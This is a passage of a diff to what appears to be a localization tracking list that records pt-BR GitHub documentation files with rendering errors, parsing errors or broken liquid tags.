-translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/index.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/index.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git.md,rendering error
+translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,broken liquid tags
+translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,broken liquid tags
+translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md,broken liquid tags
+translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,broken liquid tags
+translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,broken liquid tags
+translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,broken liquid tags
+translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,broken liquid tags
+translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,broken liquid tags
 translations/pt-BR/content/github/index.md,Listed in localization-support#489
-translations/pt-BR/content/github/index.md,rendering error
-translations/pt-BR/content/github/site-policy/coordinated-disclosure-of-security-vulnerabilities.md,rendering error
-translations/pt-BR/content/github/site-policy/dmca-takedown-policy.md,rendering error
-translations/pt-BR/content/github/site-policy/github-bug-bounty-program-legal-safe-harbor.md,rendering error
-translations/pt-BR/content/github/site-policy/github-community-guidelines.md,rendering error
-translations/pt-BR/content/github/site-policy/github-logo-policy.md,rendering error
-translations/pt-BR/content/github/site-policy/github-privacy-statement.md,rendering error
-translations/pt-BR/content/github/site-policy/github-subprocessors-and-cookies.md,rendering error
-translations/pt-BR/content/github/site-policy/github-terms-for-additional-products-and-features.md,rendering error
-translations/pt-BR/content/github/site-policy/github-terms-of-service.md,rendering error
-translations/pt-BR/content/github/site-policy/github-username-policy.md,rendering error
-translations/pt-BR/content/github/site-policy/global-privacy-practices.md,rendering error
-translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md,rendering error
-translations/pt-BR/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md,rendering error
-translations/pt-BR/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md,rendering error
-translations/pt-BR/content/github/site-policy/index.md,rendering error
-translations/pt-BR/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md,rendering error
-translations/pt-BR/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md,rendering error
-translations/pt-BR/content/github/working-with-github-support/github-enterprise-cloud-support.md,rendering error
-translations/pt-BR/content/github/working-with-github-support/submitting-a-ticket.md,rendering error
-translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md,rendering error
-translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md,rendering error
-translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md,rendering error
-translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md,rendering error
-translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,rendering error
-translations/pt-BR/content/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/index.md,rendering error
-translations/pt-BR/content/github/writing-on-github/index.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/attaching-files.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/index.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-collapsed-sections.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-advanced-formatting/organizing-information-with-tables.md,rendering error
-translations/pt-BR/content/github/writing-on-github/working-with-saved-replies/editing-a-saved-reply.md,rendering error
-translations/pt-BR/content/graphql/guides/index.md,rendering error
-translations/pt-BR/content/graphql/guides/managing-enterprise-accounts.md,rendering error
-translations/pt-BR/content/graphql/guides/migrating-graphql-global-node-ids.md,rendering error
-translations/pt-BR/content/graphql/index.md,rendering error
-translations/pt-BR/content/graphql/reference/mutations.md,rendering error
-translations/pt-BR/content/issues/guides.md,rendering error
-translations/pt-BR/content/issues/index.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/editing-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/managing-project-boards/reopening-a-closed-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-issues-and-pull-requests-to-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/adding-notes-to-a-project-board.md,rendering error
-translations/pt-BR/content/issues/organizing-your-work-with-project-boards/tracking-work-with-project-boards/archiving-cards-on-a-project-board.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/about-issues.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/about-task-lists.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/creating-an-issue.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/deleting-an-issue.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md,rendering error
-translations/pt-BR/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/about-projects.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/automating-projects.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/best-practices-for-managing-projects.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/creating-a-project.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/quickstart.md,rendering error
-translations/pt-BR/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md,rendering error
-translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md,rendering error
-translations/pt-BR/content/issues/using-labels-and-milestones-to-track-work/managing-labels.md,rendering error
-translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,rendering error
-translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,rendering error
-translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md,rendering error
-translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/index.md,rendering error
-translations/pt-BR/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md,rendering error
-translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,rendering error
-translations/pt-BR/content/organizations/index.md,rendering error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/index.md,rendering error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md,rendering error
 translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,Listed in localization-support#489
 translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,parsing error
-translations/pt-BR/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/index.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,rendering error
-translations/pt-BR/content/organizations/managing-git-access-to-your-organizations-repositories/index.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/index.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/deleting-an-organization-account.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/renaming-an-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/transferring-organization-ownership.md,rendering error
-translations/pt-BR/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md,rendering error
-translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md,rendering error
-translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management.md,rendering error
-translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md,rendering error
-translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md,rendering error
-translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/index.md,rendering error
-translations/pt-BR/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/creating-a-team.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/index.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md,rendering error
-translations/pt-BR/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md,rendering error
-translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,rendering error
-translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md,rendering error
-translations/pt-BR/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/about-permissions-for-github-packages.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/deleting-a-package.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/installing-a-package.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md,rendering error
-translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md,rendering error
-translations/pt-BR/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,rendering error
-translations/pt-BR/content/packages/quickstart.md,rendering error
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,rendering error
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,rendering error
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,rendering error
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,rendering error
+translations/pt-BR/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags
+translations/pt-BR/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags
+translations/pt-BR/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags
+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags
+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags
+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags
+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md,broken liquid tags
 translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,Listed in localization-support#489
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,rendering error
-translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,rendering error
-translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,rendering error
-translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/index.md,rendering error
-translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site.md,rendering error
-translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/troubleshooting-custom-domains-and-github-pages.md,rendering error
-translations/pt-BR/content/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/index.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/securing-your-github-pages-site-with-https.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/unpublishing-a-github-pages-site.md,rendering error
-translations/pt-BR/content/pages/getting-started-with-github-pages/using-submodules-with-github-pages.md,rendering error
-translations/pt-BR/content/pages/index.md,rendering error
-translations/pt-BR/content/pages/quickstart.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md,rendering error
-translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,rendering error
-translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/index.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,rendering error
-translations/pt-BR/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,rendering error
-translations/pt-BR/content/repositories/archiving-a-github-repository/archiving-repositories.md,rendering error
-translations/pt-BR/content/repositories/archiving-a-github-repository/index.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/using-a-merge-queue.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/index.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md,rendering error
-translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/about-repositories.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md,rendering error
-translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md,rendering error
-translations/pt-BR/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,rendering error
+translations/pt-BR/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags
